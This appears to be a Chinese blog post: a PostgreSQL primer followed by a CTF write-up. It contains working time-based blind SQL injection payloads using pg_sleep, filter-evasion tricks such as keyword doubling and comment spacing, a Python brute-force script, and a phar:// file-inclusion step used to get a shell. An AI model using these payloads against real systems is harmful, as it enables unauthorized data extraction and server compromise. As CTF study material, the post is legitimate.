0%

postgresql入门

postgresql入门

诡异的数据库,和MySQL和SQLite差距巨大,不会用。。。临时入门

登录

用apt装下来pgsql之后,在root下键入psql会报如下错误, FATAL: role "root" does not exist。后来发现是安装pgsql的时候会在当前机器上创建一个名为postgres的用户,可以su切换过去就能跑通了。也可以直接改/etc/postgresql/9.x/main/pg_hba.conf里面的内容,直接给postgres这个号改成trust然后用systemctl重启一下,就能直接psql -U postgres进数据库了

简单终端交互

\l显示所有数据
\c <dbname>切换数据库
\d显示当前数据库下的表
\q退出
这几个命令和MySQL差距好大,临时学一下。。

注入

pgsql的语法细节和mysql之间也有巨大的不同,简单的就比如||实际上是字符串拼接,可以SELECT * FROM users WHERE username='admi'||'n'

pgsql中将双引号和反引号包裹的内容视为列名,所以字段得用单引号包裹

test=# select * from users where username="admin";
ERROR:  column "admin" does not exist

MySQL中只有反引号是这个效果,印象里有一次比赛是堆叠注入修改MySQL配置,把||从OR逻辑改成了字符串拼接符号

DASCTF和BUU联动比赛的一个题,时间刚好撞上XCTF final,神仙们都去打XCTF final了,进不了XCTF final的垃圾开始自嗨
一开始本地没有pgsql的环境,payload就盲打也不知道跑不跑得通,网上看的二手文章后来本地搭起来环境之后根本跑不通,看一眼时间还是去年年底发的,国内一堆中文翻译版本。不经让我想起zsx神仙的一句话

珍爱生命,远离二手文章

好像题目还叫checkin,反正最后没人做出来,实际上测的时候没搭本地环境搞不清楚怎么回事,后来本地环境一起就直接搞定了。。。去掉顶尖神仙之后剩下来的战斗力这么不堪吗

pgsql注入的时候有几个新的关键字,以及一些奇怪的强类型判断,MySQL应该算是会进行弱类型转换的,or语句直接接数字字符串之类的都会直接转换成true,pgsql就会反手一个
ERROR: argument of OR must be type boolean, not type void,导致我sleep一下测试都测试不动
但是可以通过字符串拼接执行sleep,可能是允许字符串拼一个空上去吧

从二手文章里抄来的payload
SELECT username FROM users WHERE username = ''||(SELECT 'z33');
马上报错ERROR: failed to find conversion function from unknown to text
从这里感觉pgsql也存在一些最基础的默认类型转换,比如void转换成字符串是空字符串之类的,但是直接select出来的结果并不能直接变成字符串?

类型转换一下就可以了,类型转换有两种方法,一个是直接在后面加两冒号接类型
SELECT username FROM users WHERE username = ''||(SELECT 'z33')::text;
还有一种是使用cast函数
SELECT username FROM users WHERE username = ''||cast((SELECT 'Penelope') as text);
解决了pgsql的类型问题之后注入就变得很简单了

这里还是继续套用魔改二手文章的payload
select * from users where username=''||(select case when(cast((select count((select password from users where password similar to 'test_pass%')))as text)) not like '0' then pg_sleep(2) else '' end);
因为没有回显只能时间盲注了,使用||进行字符串拼接,select case when condition then xxx else xxx end条件语句,similar to关键字类似于MySQL的regexp,使用正则进行匹配,count数查询出来的结果,判断条件填not like '0',true就sleep 2s,否则是空字符串。从之前可知void可以直接和字符串拼接,不用类型转换
但是这里禁用了<>=这几个比较符号,因为count的返回值是数字,原payload使用的是<>0不等于0,本来想直接用not like绕过,后来本地测试才发现like只能进行字符串之间的比较,所以还套了一层cast把count结果转换到字符串打通

pgsql的正则匹配

这里关键考虑一下这个similar to关键字,这个玩意的正则匹配有点邪乎,使用了半像半不像的正则规则,基本上的正则语法都支持,但是原来的.在这里是下划线_,原来的*在这里是百分号%。。。

虽然单独拿出来用的时候好像并没有什么问题,但是在上面那个payload在没有%的时候似乎不能表现出正则的效果,比如
select * from users where username=''||(select case when(cast((select count((select password from users where password similar to 'admi_')))as text)) not like '0' then pg_sleep(2) else '' end);
就不会sleep,但实际上我有一个内容为admin的密码,改为
select * from users where username=''||(select case when(cast((select count((select password from users where password similar to 'admi_%')))as text)) not like '0' then pg_sleep(2) else '' end);
后成功sleep

官方文档中有提到LIKE也能正则

如果pattern不包含百分号或者下划线,那么该模式只代表它本身; 这时候LIKE的行为就像等号操作符。在pattern 里的下划线(_)匹配任何单个字符;而一个百分号(%) 匹配零或多个任何序列。

poc

垃圾脚本

import string
import time
import requests

url = "http://6003f037-5d85-4e89-94b5-02781319ebdb.node3.buuoj.cn/"

charset = list("1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM")

result = 'w3Lc0me_t0_DA5CTF_June'
for j in range(20):
    flag = True
    for i in charset:
        data = {"username": "'||(selselectect case when(cast((selselectect count((selselectect password from users where password similar to '{}{}%')))as text)) not like '0' then pg_sleep(2) else '' end)--".replace(' ', '/**/').format(result, i), "pwd": "123"}
        # print(data)
        time.sleep(0.2)
        start_time = time.time()
        res = requests.post(url, data)
        if time.time() - start_time > 2:
            print(i)
            flag = False
            result += i
            break
    if flag:
        break
print(result)

len = 22
# 反过来测一下字段长度
# for i in range(40, 0, -1):
#     data = {
#         "username": "'||(selselectect case when(cast((selselectect count((selselectect password from users where password similar to '{}%')))as text)) not like '0' then pg_sleep(2) else '' end)--".replace(
#             ' ', '/**/').format('_'*i), "pwd": "123"}
#     time.sleep(0.2)
#     start_time = time.time()
#     res = requests.post(url, data)
#     if time.time() - start_time > 2:
#         print(i)
#         break

这里有几个坑点,因为下划线是pgsql的正则通配符(还有好多字符比如+什么的),所以盲注的时候这个常用字符就从charset里剔除了,后来发现只能注到welcome,然后反过来用下划线测了一下字段长度,发现有22位长。

然后想试试转义掉下划线再测看能不能试出来,然后发现题目把转义ban了。
最后用[Z-^]这种操作测范围一点点试出来确实是下划线(按常理应该也是这个东西。。。)
然后注不动手动加下划线注出密码登录

然后是一个文件包含加上传,过滤了base,file协议和几个基本的操作
先用string.rot13翻转一手把源码读出来,文件上传就限定了后缀,同时检查了不能带有<?,但是并不校验文件格式。文件包含补了后缀.php,没有拼接目录
可以整个phar解压缩包含,写个shell.php压缩成zip,改名jpg上传,然后phar://path/shell.jpg/shell包含打通

拿到shell之后去看了一下有一个不给读的文件的源码,发现了一个针对SQLmap的过滤。我猜这个题是颖奇出的,那个时候才想起来嘶吼CTF有一万个SQL注入都是他出的,其中就有一个pgsql,那个时候好像就已经学了pgsql的憨批类型转换了,但是现在又忘了,然后当时那个题就是有人SQLmap一把梭非预期过

再抄一份当时颖奇的payload
"0'and(select/**/case/**/when(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),{i},1)='{char}')then(select/**/'roarctf'/**/from/**/pg_sleep(3))else/**/'1'/**/end)='roarctf'--

感觉也差不多吧,这里用了and所以后面的结果得是个bool值,所以用等于号做了个判断
不过不是很懂then里面为什么不直接sleep而是select了一下

参考链接

虽然有点毛病但是还是挺实用的二手文章
pgsql模式匹配官方文档
颖奇嘶吼wp